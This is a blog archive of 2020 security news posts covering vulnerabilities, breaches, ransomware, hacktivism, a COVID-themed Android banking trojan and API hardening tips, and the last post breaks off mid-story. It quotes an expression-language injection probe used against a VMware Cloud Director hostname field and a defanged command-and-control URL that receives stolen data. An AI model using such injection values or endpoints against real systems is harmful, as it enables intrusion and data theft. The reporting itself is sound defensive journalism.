Category Archives: IT security

Large-scale campaign targets configuration files from WordPress sites

Security experts have observed a large-scale campaign over the weekend aimed at stealing configuration files from WordPress sites.

Security researchers from WordFence have observed a large-scale campaign over the weekend aimed at stealing configuration files from WordPress sites.

Threat actors attempted to exploit well- known vulnerabilities in unpatched plugins to download configuration files from WordPress sites and steal database credentials.

“Between May 29 and May 31, 2020, the Wordfence Firewall blocked over 130 million attacks intended to harvest database credentials from 1.3 million sites by downloading their configuration files.” reads the post published by WordFence.

“The peak of this attack campaign occurred on May 30, 2020. At this point, attacks from this campaign accounted for 75% of all attempted exploits of plugin and theme vulnerabilities across the WordPress ecosystem.”

The campaign accounted for 75% of all attempted exploits of WordPress issues, including plugin and theme vulnerabilities.

WordPress wp-config-attacks

The campaign targeted more than 1.3 million WordPress sites, Wordfence blocked more than 130 million exploitation attempts on its network alone, but experts believe the magnitude of the attack is far greater.

Experts noticed that the campaign involved over 20,000 different IP addresses that were also used in an XSS campaign that was observed in early May.

The new campaign is targeting nearly a million new sites that weren’t included in the previous XSS campaigns.

“As with the XSS campaigns, almost all of the attacks are targeted at older vulnerabilities in outdated plugins or themes that allow files to be downloaded or exported. In this case the attackers are attempting to download wp-config.php, a file critical to all WordPress installations which contains database credentials and connection information, in addition to authentication unique keys and salts.” continues the analysis. “An attacker with access to this file could gain access to the site’s database, where site content and users are stored.”

According to WordFence experts, the two campaigns, have most likely been carried out by the same attackers.

Experts also published Indicators of Compromise (IoCs) for the campaign.

Pierluigi Paganini

(SecurityAffairs – WordPress, hacking)

The post Large-scale campaign targets configuration files from WordPress sites appeared first on Security Affairs.

Two issues in Zoom could have allowed code execution

Researchers from Cisco Talos disclosed two critical flaws in the Zoom software that could have allowed attackers to hack into the systems via chat.

Zoom is one of the most popular video-conferencing software, every day it is used by millions of users, especially during the COVID outbreak.

Cybersecurity researchers from Cisco Talos have disclosed two critical vulnerabilities in the video conferencing software Zoom that could have allowed remote attackers to hack into the systems of participants at a group chat or an individual recipient.

The two vulnerabilities are path traversal issues that can be exploited by attackers to write or plant arbitrary files on the systems running vulnerable versions of Zoom to execute malicious code.

The issues are easy to exploit, attackers can trigger them just by sending specially crafted messages through the chat to an individual or a group.

The first vulnerability, tracked as CVE-2020-6109, is related to the way Zoom leverages GIPHY service to allow its users to search and exchange animated GIFs via chat.

Experts discovered that Zoom did not check the GIF source allowing attackers to embed GIFs from a third-party server under the control of the attackers. Then the software store the image on the recipients’ system in a specific folder associated with the application.

The software fails to sanitize the filenames potentially allowing to achieve directory traversal, this means that an attacker could potentially store malicious files disguised as GIFs to any location on the target system.

“An exploitable path traversal vulnerability exists in the Zoom client, version 4.6.10 processes messages including animated GIFs. A specially crafted chat message can cause an arbitrary file write, which could potentially be abused to achieve arbitrary code execution.” reads the advisory published by Cisco Talos. “An attacker needs to send a specially crafted message to a target user or a group to exploit this vulnerability.”

The second issue is a remote code execution vulnerability tracked as CVE-2020-6110, which resided in the way vulnerable versions of the Zoom application handles code snippets shared through the chat.

“An exploitable partial path traversal vulnerability exists in the way Zoom Client version 4.6.10 processes messages including shared code snippets. A specially crafted chat message can cause an arbitrary binary planting which could be abused to achieve arbitrary code execution.” reads the advisory. “An attacker needs to send a specially crafted message to a target user or a group to trigger this vulnerability. For the most severe effect, target user interaction is required.”

“Zoom’s chat functionality is built on top of XMPP standard with additional extensions to support the rich user experience. One of those extensions supports a feature of including source code snippets that have full syntax highlighting support. The feature to send code snippets requires the installation of an additional plugin but receiving them does not. This feature is implemented as an extension of file sharing support,”

The experts discovered that the software creates a zip archive containing the shared code snippet before sending, which is unzipped on the recipient’s system.

Zoom’s zip file extraction feature does not validate the contents of the zip file before extracting it, allowing the attacker to plant arbitrary binaries on targeted systems.

“This allows a potential attacker without user interaction to plant arbitrary binaries on target’s computer via automatically extracted zip files.” continues the experts. “Additionally, a partial path traversal issue allows the specially crafted zip file to write files outside the intended randomly generated directory. “

Both vulnerabilities affect Zoom version 4.6.10, the company addressed them with the release of version 4.6.12.

Pierluigi Paganini

(SecurityAffairs – video conferencing system, hacking)

The post Two issues in Zoom could have allowed code execution appeared first on Security Affairs.

Russia-linked APT exploited at least 3 Exim flaws in recent attacks

Several flaws in the Exim mail transfer agent (MTA) have been exploited by Russia-linked hackers, hundreds of thousands of servers are still unpatched.

Russia-linked threat actors have exploited several vulnerabilities in the Exim mail transfer agent (MTA) in their campaigns.

Last week, the U.S. National Security Agency (NSA) warned that Russia-linked APT group tracked Sandworm Team has been exploiting a critical vulnerability (CVE-2019-10149) in the Exim mail transfer agent (MTA).

According to the NSA, hackers belonging to the Unit 74455, under the Russian GRU Main Center for Special Technologies (GTsST), are exploiting the CVE-2019-10149 issue after an update was issued in June 2019.

The actors exploited victims using Exim software on their public facing MTAs by sending a command in the “MAIL FROM” field of an SMTP (Simple Mail Transfer Protocol) message.” states the advisory.

Russian state-sponsored hackers leverage the vulnerability to download a shell script from a domain under their control and use it to “add privileged users, disable network security settings, update SSH configurations to enable additional remote access, execute an additional script to enable follow-on exploitation.”

NSA recommends patching Exim servers immediately by installing version 4.93 or newer.

Now security firm RiskIQ revealed that threat actors had exploited two other Exim vulnerabilities in the same campaign. The two issues are:

  • a remote code execution vulnerability tracked as CVE-2019-15846, it impacts version 4.92.1 and earlier and was patched in September 2019;
  • a DoS and code execution flaw tracked as CVE-2019-16928, it impacts versions 4.92 through 4.92.2.

In May, RiskIQ experts identified more than 900,000 vulnerable Exim servers. Most of the servers were running version 4.92, this means that they were patched against the CVE-2019-10149 issue, while they were still impacted by the other two vulnerabilities.

Experts noticed that many servers were updated in May, but there are still hundreds of thousands of vulnerable servers.

“The vulnerabilities leveraged impact Exim Internet Mailer version 4.87 – 4.92. Searching RiskIQ’s internet intelligence database, from May 1, 2020, RiskIQ has observed over 900K vulnerable Exim instances.” reads the analysis published by RiskIQ.

Querying Shodan search engine for vulnerable Exim servers we can verify that there are more than 250,000 installs running version 4.91 and over one million servers running version 4.92.

Pierluigi Paganini

(SecurityAffairs – hacking, cybersecurity)

The post Russia-linked APT exploited at least 3 Exim flaws in recent attacks appeared first on Security Affairs.

IP-in-IP flaw affects devices from Cisco and other vendors

A flaw in the IP-in-IP tunneling protocol that can be exploited for DoS attacks and to bypass security controls impact devices from Cisco and other vendors.

A vulnerability that affects the IP-in-IP tunneling protocol (aka IP Encapsulation within IP) implemented by Cisco and other vendors could be exploited for denial-of-service (DoS) attacks and to bypass security controls.

IP-in-IP encapsulation is a tunneling protocol specified in RFC 2003 that allows for IP packets to be encapsulated inside another IP packets. The vulnerability, tracked as CVE-2020-10136, has been rated with a CVSS score of 8.6.

The issue can be abused by an unauthenticated attacker to unexpectedly route arbitrary network traffic through a vulnerable device.

“An unauthenticated attacker can route network traffic through a vulnerable device, which may lead to reflective DDoS, information leak and bypass of network access controls,” reads the advisory published by the CERT Coordination Center (CERT/CC). “An IP-in-IP device is considered to be vulnerable if it accepts IP-in-IP packets from any source to any destination without explicit configuration between the specified source and destination IP addresses. This unexpected Data Processing Error (CWE-19) by a vulnerable device can be abused to perform reflective DDoS and in certain scenarios used to bypass network access control lists.”

Cisco has already addressed the flaw by releasing security updates for its NX-OS software.

“A vulnerability in the network stack of Cisco NX-OS Software could allow an unauthenticated, remote attacker to bypass certain security boundaries or cause a denial of service (DoS) condition on an affected device.” states the advisory published by Cisco.

“The vulnerability is due to the affected device unexpectedly decapsulating and processing IP in IP packets that are destined to a locally configured IP address. An attacker could exploit this vulnerability by sending a crafted IP in IP packet to an affected device”

An attacker could exploit the flaw by sending a crafted IP in IP packet to an affected device.

“Under certain conditions, an exploit could cause the network stack process to crash and restart multiple times, leading to a reload of the affected device and a DoS condition,” Cisco also explains.

The list of affected products includes:

According to Cisco’s advisory, the vulnerability also impacts devices that do not have an IP in IP tunnel interface configured. Cisco UCS Fabric Interconnects are affected only when NetFlow monitoring is enabled on the device and a flow exporter profile is configured with a source IP address set for the exporter interface. 

The following products are not affected:

  • Firepower 1000 Series
  • Firepower 2100 Series
  • Firepower 4100 Series
  • Firepower 9300 Security Appliances
  • MDS 9000 Series Multilayer Switches
  • Nexus 9000 Series Fabric Switches in Application Centric Infrastructure (ACI) mode
  • UCS 6400 Series Fabric Interconnects

According to the CERT/CC, the flaw affects products from Digi International, Hewlett Packard Enterprise, and Treck are also affected.

A proof-of-concept (PoC) code was published by the CERT/CC.

Pierluigi Paganini

(SecurityAffairs – IP-in-IP, cybersecurity)

The post IP-in-IP flaw affects devices from Cisco and other vendors appeared first on Security Affairs.

There was no data breach in the cyberattack against Minneapolis Police

Last week a massive distributed denial-of-service (DDoS) attack shut down the websites and systems of Minneapolis, but there is no evidence of a breach.

Over the weekend, Anonymous demanded justice for George Floyd and threatened to ‘expose the many crimes’ of Minneapolis Police. George Floyd was killed by a white police officer by kneeling on his neck for more than eight minutes.

While widespread civil unrest escalated in the US and the protest against the brutality of the police is spreading in the principal cities, Anonymous released a video, threatening Minneapolis Police Department (MPD) that it will “expose your many crimes to the world.”

On Thursday, the city’s website was not reachable due to the cyberattack that was launched as a retaliation for the death of George Floyd.

Most of the operations at the city were restored quickly, the Minneapolis CIO Fadi Fadhil said announced that the city had put on place proactive measures to mitigate such attacks.

“Although these types of attacks are not completely unavoidable, they are fairly common, and the city of Minneapolis has proactive measures in place to respond to and mitigate disruptions when they do occur,” said Fadhil. “The city of Minneapolis IT continues to monitor its cyber platforms to ensure further disruption doesn’t happen again.”

On Sunday, while the turmoil was continuing in the US, alleged members of the group (@PowerfulArmyGR, @namatikure) announced on Pastebin that the site was hacked and leaked the database of email and passwords.

But some security experts argued that the data were not obtained as result of a security breach occurred during the DDoS attack.

The popular cybersecurity expert Troy Hunt, who operates the data breach notification site Have I Been Pawned, raised doubts of the alleged data leak.

Hunt speculates the data was amassed from past data breaches, most of the email addresses in the leak were already present in Have I Been Pawned.

Hunt analyzed the email in the dump and discovered that some email addresses are duplicated and are reported with different passwords, a circumstance that suggests they were originated from different sources and aggregated to appear the result of the Minneapolis Police hack.

“There are 798 email addresses in the data set but only 689 unique ones. 87 of the email addresses appear multiple times, usually twice, but one of them 7 times over.” reads the Hunt’s analysis. “I’ll come back to the passwords associated with that account in a moment, what I will say for now is that it’s extremely unusual to see the same email address with multiple different passwords in a legitimate data breach as most systems simply won’t let an address register more than once.”

Hunt discovered that of the 689 unique email addresses in the list, 654 of them are already in Have I Been Pwned. 

“The conclusion I draw from this is that a huge amount of the data is coming from aggregated lists known to be in broad circulation.” concludes Hunt.

Pierluigi Paganini

(SecurityAffairs – Minneapolis Police, cybersecurity)

The post There was no data breach in the cyberattack against Minneapolis Police appeared first on Security Affairs.

Critical flaw in VMware Cloud Director allows hackers to take over company infrastructure

Researchers disclosed a flaw in VMware Cloud Director platform, tracked as CVE-2020-3956, that could be abused to takeover corporate servers.

Security researchers from hacking firm Citadelo disclosed details for a new critical vulnerability in VMware’s Cloud Director platform, tracked as CVE-2020-3956, that could be abused to takeover corporate servers.

VMware Cloud Director is a cloud service-delivery platform that allows organizations to operate and manage successful cloud-service businesses. Using VMware Cloud Director, cloud providers deliver secure, efficient, and elastic cloud resources to thousands of enterprises and IT teams across the world.

The vulnerability could potentially allow an authenticated attacker to gain access to corporate network, access to sensitive data, and control private clouds within an entire infrastructure.

“A code injection vulnerability in VMware Cloud Director was privately reported to VMware. Patches and workarounds are available to remediate or workaround this vulnerability in affected VMware products.” reads the advisory published by VMware. “VMware Cloud Director does not properly handle input leading to a code injection vulnerability.”

The CVE-2020-3956 flaw is a code injection issue that is caused by the improper input handling that could be triggered by an attacker by sending malicious traffic to Cloud Director, leading to the execution of arbitrary code. The flaw received a score of 8.8 out of 10 on the CVSS v.3 vulnerability severity scale.

The flaw can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface, and API access.

“An authenticated actor may be able to send malicious traffic to VMware Cloud Director which may lead to arbitrary remote code execution. This vulnerability can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface and API access.” continues the advisory.

The vulnerability affects VMware Cloud Director versions 10.0.x before 10.0.0.2, 9.7.0.x before 9.7.0.5, 9.5.0.x before 9.5.0.6, and 9.1.0.x before 9.1.0.4.

Experts from Citadelo discovered the issue while conducting a security audit of the cloud infrastructure.of an unnamed Fortune 500 enterprise customer.

In a blog post the researchers explained that a single simple form submission can be manipulated to gain control of any Virtual Machine (VM) within VMware Cloud Director.

“Everything started with just a simple anomaly. When we entered ${7*7} as a hostname for the SMTP server in vCloud Director, we received the following error message: String value has an invalid format, value: [49],” “It indicated some form of Expression Language injection, as we were able to evaluate simple arithmetic functions on the server-side.”

Experts exploited the issue to access arbitrary Java classes (e.g. “java.io.BufferedReader“) and instantiate them by passing malicious payloads.

Citadelo experts were able to perform the following actions triggering the vulnerability:

  • View content of the internal system database, including password hashes of any customers allocated to this infrastructure.
  • Modify the system database to steal foreign virtual machines (VM) assigned to different organizations within Cloud Director.
  • Escalate privileges from “Organization Administrator” (normally a customer account) to “System Administrator” with access to all cloud accounts (organization) as an attacker can change the hash for this account.
  • Modify the login page to Cloud Director, which allows the attacker to capture passwords of another customer in plaintext, including System Administrator accounts.
  • Read other sensitive data related to customers, like full names, email addresses or IP addresses.

Citadelo privately reported the flaw to VMware on April 1, and the company addressed the issues with the release of versions 9.1.0.4, 9.5.0.6, 9.7.0.5, and 10.0.0.2.

The experts also published a proof-of-concept code for the vulnerability.

VMware has also released a workaround to mitigate the risk of exploitation for the flaw.

Pierluigi Paganini

(SecurityAffairs – VMware Cloud Director, cybersecurity)

The post Critical flaw in VMware Cloud Director allows hackers to take over company infrastructure appeared first on Security Affairs.

The team behind the Joomla CMS discloses a data breach

Maintainers at the Joomla open-source content management system (CMS) announced a security breach that took place last week.

Last week a member of the Joomla Resources Directory (JRD) team left an unencrypted full backup of the JRD site (resources.joomla.org) on an unsecured Amazon Web Services S3 bucket operated by the company.

The company did not reveal is third-parties have found and accessed to the S3 bucket.

“JRD full site backups (unencrypted) were stored in a third-party company Amazon Web Services S3 bucket. The third-party company is owned by a former Team Leader, still Member of the JRD team at the time of the breach.” reads the data breach notification. “Known to the current Team Leader at the time of the breach. (https://volunteers.joomla.org/teams/resource-directory-team) Each backup copy included a full copy of the website, including all the data.”

The backup contained details for approximatively 2,700 users who registered and created profiles on the JRD website.

The Joomla Resources Directory portal allows professionals and developers to advertise their services.

Joomla team is investigating the data leak said they are still investigating the incident. It is currently unclear if anyone found and download the data from the third-party company’s S3 server.

The Joomla team also carried out a full security audit of the portal.

“The audit also highlighted the presence of Super User accounts owned by individuals outside Open Source Matters,” continues the notification.

Data contained in the backup includes :

  • Full name
  • Business address
  • Business email address
  • Business phone number
  • Company URL
  • Nature of business
  • Encrypted password (hashed)
  • IP address
  • Newsletter subscription preferences

The data breach notification states that most of the data was public, because it was a public directory, anyway private data (unpublished, unapproved listings, tickets) was exposed in the breach.

The Joomla team is urging JRD users to change their password on the JRD portal and on other sites where they share the login credentials.

“Even if we don’t have any evidence about data access, we highly recommend people who have an account on the Joomla Resources Directory and use the same password (or combination of email address and password) on other services to immediately change their password for security reasons.” concludes the notification.

Pierluigi Paganini

(SecurityAffairs – data breach, hacking)

The post The team behind the Joomla CMS discloses a data breach appeared first on Security Affairs.

KingNull leaks DB of Daniel’s Hosting dark web hosting provider

Earlier this year a hacker breached Daniel’s Hosting, the largest free web hosting provider for dark web hidden services and now leaked its DB.

A threat actor has leaked the database of Daniel’s Hosting (DH), the largest free web hosting provider for dark web hidden services.

The hacker has stolen the data in March when he breached the hosting provider, almost 7,600 dark web portals have been taken offline following the security breach.

Daniel Winzen, a German software developer that operated the service, revealed that attackers accessed the backend of the hosting provider and deleted all the databases of the websites hosted by Daniel’s Hosting.

Winzen definitively shut down the service on March 26.

Today ZDNet reported that a hacker that goes online with the moniker ‘KingNull’ uploaded a copy of Daniel’s Hosting database on a file-hosting site.

“According to a cursory analysis of today’s data dump, the leaked data includes 3,671 email addresses, 7,205 account passwords, and 8,580 private keys for .onion (dark web) domains.” reported ZDNet.

Threat intelligence firm Under the Breach that analyzed the leaked database told ZDNet that the archive includes sensitive information on the owners and users of thousands of darknet sites. IP addresses of administrators and users were not included in the archive.

The database could allow law enforcement agencies to deanonymize administrators of dark web services that were involved in illegal activities.

Unfortunately, the leak could put in danger activists and dissidents that use the darknets to avoid the censorship applied by regimes.

In November 2018, Daniel’s Hosting provider was victims of another incident, attackers hacked the service and deleted 6,500+ sites.

ZDNet revealed that Winzen plans to launch again the hosting service in several months.

Pierluigi Paganini

(SecurityAffairs – dark web, hacking)

The post KingNull leaks DB of Daniel’s Hosting dark web hosting provider appeared first on Security Affairs.

Anonymous demands justice for George Floyd and threatens attacks

The hacktivist collective group Anonymous demands justice for George Floyd and threatens to ‘expose the many crimes’ of Minneapolis Police.

Anonymous demands justice for George Floyd and threatens to ‘expose the many crimes’ of Minneapolis Police. George Floyd was killed by a white police officer by kneeling on his neck for more than eight minutes.

While widespread civil unrest escalated in the US and the protest against the brutality of the police is spreading in the principal cities, Anonymous released a video, threatening Minneapolis Police Department (MPD) that it will “expose your many crimes to the world.”

The video was shared on May 28 through a Facebook page affiliated with the group, the electronic voice accuses MPD of having “a horrific track record of violence and corruption,” claiming that the killing of George Floyd was “merely the tip of the iceberg.”

“Officers who kill people and commit other crimes need to be held accountable just like the rest of us. Otherwise, they will believe that they have a license to do whatever they want.” the Anonymous narrator says.

“People have had enough of this corruption and violence from an organization that promises to keep them safe. After the events of the past few years, many people are beginning to learn that you are not here to save us but rather you are here to oppress us and carry out the will of the criminal ruling class.”

“You are here to keep order for the people in control, not to provide safety for the people who are controlled. In fact, you are the very mechanism that elites use to continue their global system of oppression.”

“These officers must face criminal charges and officer Chauvin especially should face murder charges. Unfortunately, we do not trust your corrupt organization to carry out justice so will be exposing your many crimes to the world. We are legion. Expect us.”

“Sadly, in the vast majority of police killings, the only one left alive to tell the story is the officer who took the person’s life,” the Anonymous narrator continues. “This travesty has gone on for far too long… and now the people have had enough.”

The collective has launched its offensive against the authorities, the MPD’s website was taken offline late on Saturday, and today alleged members of the group (@PowerfulArmyGR, @namatikure) announced on Pastebin that the site was hacked and leaked the database of email and passwords.

“The Minneapolis official website was been hacked and database with emails and passwords leaked.” reads the post published on PasteBin.

Anonymous has yet to claim responsibility for taking down the website.

In the last hours other operations have been attributed to Anonymous, including the hack of Chicago police radios,

Pierluigi Paganini

(SecurityAffairs – George Floyd, Anonymous)

The post Anonymous demands justice for George Floyd and threatens attacks appeared first on Security Affairs.

Over 100K+ WordPress sites using PageLayer plugin exposed to hack

Two security flaws in the PageLayer WordPress plugin can be exploited to potentially wipe the contents or take over WordPress sites.

Security experts from WordFence discovered two high severity security vulnerabilities in the PageLayer WordPress plugin that could potentially allow attackers to wipe the contents or take over WordPress sites using vulnerable plugin versions.

PageLayer is a WordPress page builder plugin, it is very easy to use and actually has over 200,000 active installations according to numbers available on its WordPress plugins repository entry.

The vulnerabilities were reported to PageLayer’s developer by the Wordfence Threat Intelligence team on April 30 and were patched with the release of version 1.1.2 on May 6.

One vulnerability could allow an authenticated user with subscriber-level and above permissions to update and modify posts.

“One flaw allowed any authenticated user with subscriber-level and above permissions the ability to update and modify posts with malicious content, amongst many other things,” reads the post published by Wordfence.

The second vulnerability could allow attackers to forge a request on behalf of a site’s administrator to change the plugin settings allowing to inject malicious Javascript.

Both vulnerabilities are the result of unprotected AJAX actions, nonce disclosure, and a lack of Cross-Site Request Forgery (CSRF) protection. An attacker could exploit the vulnerabilities to inject malicious JavaScript code, alter the pages of the site, create rogue admin accounts, redirect site visitors to malicious sites, and exploit a site’s user’s browser to compromise their computer.

WordFence experts reported the issue to PageLayer’s developers on April 30 and both were addressed with the release of version 1.1.2 on May 6.

Developers implemented permissions checks on all of the sensitive functions that could allow to change the site and reconfigured the plugin to create separate nonces for the public and administrative areas of a WordPress site.

At the time of writing, more than a hundred thousand WordPress sites still use vulnerable versions of PageLayer plugin.

When it comes to WordPress attacks involving the exploitation of vulnerabilities, malicious actors usually target unpatched plugins, for this reason, it is essential to keep them up to date.

I believe it is very important to protect WordPress install with dedicated solutions, I’m currently using WordFence solution, the company provided with a license to evaluate the premium features.

Pierluigi Paganini

(SecurityAffairs – PageLayer, hacking)

The post Over 100K+ WordPress sites using PageLayer plugin exposed to hack appeared first on Security Affairs.

A new COVID-19-themed campaign targets Italian users

Security researchers uncovered a new COVID-19-themed campaign targeting users of the National Institute for Social Security (INPS).

Security experts from D3Lab have uncovered a new COVID-19-themed phishing campaign that is targeting the users of the Italian National Institute for Social Security (INPS). Like a previous campaign observed in early April, threat actors set up a fake INPS site used (“inps-it[.]top”) to trick victims into downloading a malicious app.

“A new Phishing campaign against INPS users , similar to the previous one of April 6, 2020 , has been detected in the past few hours by our research and analysis center for Phishing campaigns.” reads the post published D3Lab.

“The fraudulent activity is carried out through a web domain created Ad Hoc with similarities, in the name, to the official one of the national social security institution with the intent to download malware to users interested in receiving the Covid-19 allowance allocated from the Italian state.”

COVID-19 campaign INPS
COVID-19 campaign INPS

D3Lab reported its findings to the Italian CERT-AGID that published a security advisory.

Cybercriminals are attempting to take advantage of the Covid-19 indemnity that the Italian government will give to some Italian citizens with specific requirements.

The citizens have to request the Covid-19 indemnity to the goverment through the INPS portal, for this reason, threat actors set up a fake INPS site asking people to download a phantom “application for the new COVID-19 indemnity” which actually returns a malicious APK for Android devices..

The malicious APT, named “acrobatreader.apk,” is a Trojan-Banker malware that is able to monitor the actions performed by the user.

The malware asks users to enable the accessibility service in order to take advantage of the legitimate functions of this service and achieve wider access to the system APIs to communicate with other apps on the device.

“As soon as the presence of connectivity is detected, an HTTP POST request is sent to C2 through the following url ” http: // greedyduck [.] Top / gate [.] Php ” passing two parameters:

  • ” Action “: with botcheck or injcheck values ;
  • ” Data “: information collected and passed in encrypted form (RC4).”

The CERT-AGID published the Indicators of Compromise (IoCs) here.

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post A new COVID-19-themed campaign targets Italian users appeared first on Security Affairs.

NetWalker ransomware gang threatens to release Michigan State University files

Michigan State University is the last victim of the NetWalker ransomware, attackers threaten to leak stolen files if it will not pay the ransom in seven days.

Michigan State University hit by ransomware gang, NetWalker ransomware operators are threatening to leak stolen files if the university will not pay the ransom in seven days.

At the time of writing the ransom demand to decrypt their files was not disclosed.

Even if the MSU will restore from backups, the NetWalker ransomware gang will leak the documents stolen on its dark web leak site.

As a proof of the attack, NetWalker ransomware operators have shared five images on the leak site.

“These include two images showing a directory structure allegedly from the university’s network, a passport scan for a student, and two scans of Michigan State financial documents.” reported ZDNet.

Source ZDNet

The NetWalker group is very active in this period, the list of the victims of the gang includes the shipping giant Toll. Researchers also identified a new Coronavirus phishing campaign that aims at delivering the Netwalker Ransomware using COVID-19 lures.

The university did not reveal the extent of the attack, students and employees are still working from home due to the COVID-19 outbreak, anyway, the incident may not impact the e-learning activity.

NetWalker isn’t the unique ransomware gang that is threatening to publish data of the victims to force to pay the ransom, other gangs are DopplePaymer, Maze, Nefilim, Nemty, RagnarLocker, and REvil.

Pierluigi Paganini

(SecurityAffairs – Michigan State University, hacking)

The post NetWalker ransomware gang threatens to release Michigan State University files appeared first on Security Affairs.

API Security and Hackers: What’s the Need?

API Security – There is a considerable demand for data-centric projects, that is why companies have quickly opened their data to their ecosystem through REST or SOAP APIs.

APIs work as doors for a company – closely guarding data of an organization. However, there are some challenges created: how do we hold the doors open to the world while simultaneously sealing them off from hackers?

Here are the simple tips for API security, let’s have a look! 

Authentication

Don’t communicate with strangers. To increase the complexity of hacking your device, always get to know who is calling your APIs, by using a simple access authentication (user/password) or an API key (asymmetric key).

Encryption 

Just be cryptic. For internal or external correspondence nothing should be in the open.

You and your partners can cipher all TLS (the successor to SSL) transfers, be it one-way encryption (also called standard one-way TLS) or even better, shared encryption (two-way TLS).

Using the new versions of TLS to block the use of weaker cipher suites.

Monitoring: Audit, Log, and Version 

In case of an error, you need to be ready to troubleshoot: audit and log relevant information on the server. Also, keep that history as long as it is reasonable in terms of capacity for your servers in production. In case of any accidents, you can convert your logs into debugging tools. Follow-up dashboards are also highly recommended resources for monitoring your API use.

Do not forget to add the version to all APIs, ideally in the API direction, to give several APIs with different versions working concurrently, and to be able to delete and depreciate one version over another.

Call Security Experts

It is better to use ICAP (Internet Content Adaptation Protocol) servers or excellent Antivirus systems to protect the data of your company. 

Share as Little as Possible 

For API security, it’s okay to be paranoid and show very little information, particularly in error messages. Limit content and email subjects to predefined messages that are non-customizable. Since you can send locations to IP addresses, keep them for yourself. To limit access to your accounts, use IP Whitelist and IP Blacklist where possible. You can also check your ip address by simply searching what is my ip and you will get the details. Limit the number of administrators, divide access into diverse roles, and hide sensitive information in all your interfaces. 

OAuth & OpenID Connect 

Delegate all responsibilities. A good manager takes accountability, and a fantastic API does so too. The authorization and/or authentication of your APIs should be delegated.

OAuth is a magical mechanism which prevents you from having to remember 10,000 passwords. Instead of creating an account on a website, you can connect via credentials from another provider, such as Facebook or Google. This works the same way for APIs: the API provider depends on a third-party server to handle permissions. The user does not supply their credentials but then gives the third-party server a token. This protects the user because they don’t reveal their passwords, and the provider of the API doesn’t need to worry about protecting data about the authorization, because it only collects tokens.

OAuth is a delegation protocol widely used to forward authorizations. You can add an identity layer on top of it to protect your APIs even further and add authentication: this is the Open I d Connect standard which extends OAuth 2.0 with ID tokens.

System Protection with Throttling and Quotas 

Keep a Control. To protect your backend network bandwidth according to the capability of your servers, you can restrict access to your device to a limited number of messages per second.

You can also limit access by the API and the user (or application) to make sure that no one, in particular, can misuse the program or any API.

Throttling thresholds and quotas – if well defined – are essential to avoid attacks from different sources from overwhelming the network with numerous requests (DDOS-Distributed Denial of Service Attack).

OWASP top 10

Avoid wasps. The top 10 of the OWASP (Open Web Application Security Project) is a list of the ten worst vulnerabilities, measured by their exploitability and effect. In addition to the above, make sure that you have checked all of the bugs in OWASP to check the program.

Data Validation 

Be picky and refuse surprise presents, especially when they’re massive. You should verify that your server is accepting anything. Be vigilant to reject any content that is added, data that is too high, and also test the information that customers give you. Use XML or JSON schema validation to verify whether your restrictions are what they should be (integer, string …) to avoid all kinds of XML blast and SOL injection. 

Infrastructure 

Stay up-to-date. To be stable and still benefit from the latest security updates, a good API should rely on a good security network, infrastructure and up-to-date applications (servers, load balancers).

API Firewalling 

Create a wall: Building of a wall will solve all the immigration issues for some citizens. That is the case, at least for APIs! The protection of your API should be divided into two levels:

  • DMZ is the first level, with an API firewall to perform simple protection measures, including checking message size, SQL injections, and any HTTP layer-based protection that blocks intruders early. The message is then forwarded to the second sheet.
  • The second level is LAN, with advanced data information protection mechanisms.

Set a Budget for Security Testing 

Security monitoring takes time and resources, and the investment needs to be made by the businesses. Although new functionality drives growth, security testing should be allocated about 5 percent to 10 percent of the budget. Use of APIs is growing and encouraging companies to create more diverse applications. Nonetheless, as they exploit these resources, companies need to be mindful of and close the possible security holes.

About the author: Waqas Baig

Waqas Baig is a Tech Writer having experience of 8 years in journalism, reporting and editing. In his spare time, he reads and writes about tech products including gadgets, smart watches, home security products and others. If you have story ideas, feel free to share here waqasbaigblog@gmail.com

Pierluigi Paganini

(SecurityAffairs – APT, hacking)

The post API Security and Hackers: What’s the Need? appeared first on Security Affairs.

A New York man was charged with stealing credit card data via SQL Injection attacks

The US DoJ announced that a New York City man was charged with hacking, credit card trafficking, and money laundering conspiracies.

New York City man Vitalii Antonenko (28) was charged with hacking, credit card trafficking, and money laundering conspiracies, states the US DoJ.

The man was arrested in March 2019 and detained after his arrival from Ukraine. The man was carrying computers and other digital media holding containing hundreds of thousands of stolen payment card numbers.

“Vitalii Antonenko, 28, was indicted on one count of conspiracy to gain unauthorized access to computer networks and to traffic in unauthorized access devices, and one count of money laundering conspiracy.” reads the press release published by US DoJ. “In March 2019, Antonenko was arrested and detained on money laundering charges at New York’s John F. Kennedy International Airport after he arrived there from Ukraine carrying computers and other digital media that held hundreds of thousands of stolen payment card numbers.”

The man nd co-conspirators obtained the credit card data by hacking into vulnerable computer networks.

The hackers launched SQL injection attacks to access vulnerable networks and steal Payment Card Data and other PII.

Crooks were able to steal card account numbers, expiration dates, and card verification values, along with other personally identifiable information (PII), then they were offering them for sale on cybercrime marketplaces.

“They used a hacking technique known as a “SQL injection attack” to access those networks without authorization, extracted Payment Card Data and other PII, and transferred it for sale on online criminal marketplaces.” continues the DoJ. “Once a co-conspirator sold the data, Antonenko and others used Bitcoin as well as traditional bank and cash transactions to launder the proceeds in order to disguise their nature, location, source, ownership, and control.”

The charges related to unauthorized access carry a sentence of up to five years in prison, three years of supervised release, a $250,000 fine, restitution and forfeiture.

Antonenko faces up to 20 years in prison and a $500,000 fine for the money laundering conspiracy charges.

Pierluigi Paganini

(SecurityAffairs – Card Data, hacking)

The post A New York man was charged with stealing credit card data via SQL Injection attacks appeared first on Security Affairs.

ICT solutions provider NTT Com discloses security breach

NTT Communications (NTT Com), a subsidiary of tech giant NTT Corp, disclosed a data breach that impacted hundreds of customers.

NTT Communications (NTT Com), a subsidiary of the tech giant NTT Corp, disclosed a data breach that impacted hundreds of customers.

NTT Com provides network management, security and solution services[3] to consumers, corporations and governments.

NTT Com Group has more than 30 companies in the Asia-Pacific regionEurope and the Americas.

The company launched an investigation after discovering unauthorized access to some systems on May 7, then this week it confirmed that threat actors may have been stolen.

“NTT Communications (hereafter NTT Com) detected an unauthorized access to our equipment that has been made by an attacker on May 7, and the possibility that some information may have leaked to the outside was confirmed on May 11.” reads the data breach notification.

Experts at NTT Com initially noticed suspicious activity on an Active Directory server, then they discovered that threat actors have breached an operational server and an information management server that stored customer information.

The internal investigation revealed that attackers initially targeted a server in Singapore, then used it for lateral movements and reach the infrastructure in Japan.

